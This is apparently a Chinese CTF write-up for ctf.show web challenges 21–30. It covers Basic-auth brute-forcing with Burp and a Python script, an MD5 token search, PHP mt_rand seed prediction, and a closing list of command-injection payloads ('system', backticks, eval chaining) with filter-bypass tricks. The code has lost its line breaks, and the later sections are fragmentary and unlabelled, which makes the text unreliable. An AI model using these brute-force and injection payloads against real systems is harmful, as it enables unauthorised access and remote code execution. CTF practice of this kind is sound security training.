Web 21~30

• web21
• • 知识点
  • 题解
• web22
• • 知识点
  • 题解
• web23
• • 知识点
  • 题解
• web24
• • 知识点
  • 题解
• web25
• • 知识点
  • 题解
• web26
• • 知识点
  • 题解
• web27
• • 知识点
  • 题解
• web28
• • 知识点
  • 题解
• web29
• • 知识点
  • 题解
• web30
• • 知识点
  • 题解

web21

知识点

• tomcat 认证爆破
• burpsuite暴力破解（Sniper）之custom iterator使用

Payload Sets 中选择类型：custom iterator（自定义迭代器）。
Payload Processing 中进行编码设置：进行base64编码。
取消 Palyload Encoding 编码 因为在进行base64加密的时候在最后可能存在 == 这样就会影响 base64 加密的结果。

题解

随便输入用户名：admin，密码：111

抓包看一下。没找到username和password的字段。but：
Authorization 请求头中，输入的 用户名 / 口令 以base64的形式传输。

格式是：用户名:密码

Intruder爆破设置

选择自定义迭代

拼接语句1

拼接语句2

拼接语句3
添加爆破密码字典

拼接完成后，设置base64编码。在payload processing 进行编码设置。
最后的 URL编码 不用选择。

最后的密码是shark63。

下面的代码提供了另一种解题思路

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-11-20 19:16:49
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.comimport time
import requests
import base64url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
# URL换成实际的靶场网址password = []# 使用字典
with open("1.txt", "r") as f:  while True:data = f.readline() if data:password.append(data)else:breakfor p in password:strs = 'admin:'+ p[:-1]header={'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))}rep =requests.get(url,headers=header)time.sleep(0.2)if rep.status_code ==200:print(rep.text)break

web22

知识点

• 域名也可以爆破

题解

域名更新后，flag.ctf.show域名失效
所以这道题没法做了。but爆破方式没有太大差别。

web23

知识点

• MD5加密：产生出一个128位（16字节）的散列值（hash value），用于确保信息传输完整一致。生成结果是固定的128字节，通常用一个32位的16进制字符串表示。
• PHP：substr()、intval()、以及代码分析

题解

分析代码：变量token被md5加密，且它的第一位=第十四位=第十七位，化为整数后（第一位+第十四位+第十七位）/ 第一位=第三十一位，则可获得flag。

选择burp爆破也可以，但可以直接用写脚本跑出需要传递的值

# coding: utf-8import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:for b in dic:c = (str(a)+str(b)).encode('utf-8')    # python3中必须进行utf-8编码token = hashlib.md5(c).hexdigest()if token[1:2] == token[14:15] and token[14:15] == token[17:18]:if (int(token[1:2])+int(token[14:15])+int(token[17:18]))/int(token[1:2]) == int(token[31:32]):print(c)

传递 token=3j

web24

知识点

• PHP：伪随机数、mt_srand()、mt_rand()

提示：从 PHP 4.2.0 开始，随机数生成器自动播种，因此没有必要使用该函数。
如果设置了 seed参数，生成的随机数就是伪随机数，即每次生成的随机数是一样的。
简单来说就是通过这个函数mt_srand()来设定一个种子seed
再通过mt_rand()来结合种子按照一定的规则得到一个随机数
这是一个线性的计算，每次请求得到的随机数都是不一样的，但是只要种子一样，得到的随机数都是像一个一次函数一样变化的，就像y=ax=b，x就是请求的次数，a和b就是由种子决定

题解

题目已经告诉了我们种子

可以直接写一个php脚本来得到随机数

种子涉及到flag，不能直接求到
if((!$rand)) 要使这个为真，就要让 $rand=0 ，
而 $rand = intval($r)-intval(mt_rand()) 
所以要得到随机数才能构造 $r=$mt_rand() 。

";echo $a2."
";echo $a3."
";echo ($a2 + $a3)."
";

url + ?c=system('tac fla?.php');

url + ?c=echo `tac fl''ag.php`;

url + ?c=echo `nl fl?g.php`;

url + ?c=`cp fl?g.php 1.txt`;

url + ?c=eval($_GET[1]);&1=system('tac flag.php');

url + ?c=echo `tac f''lag.ph''p`;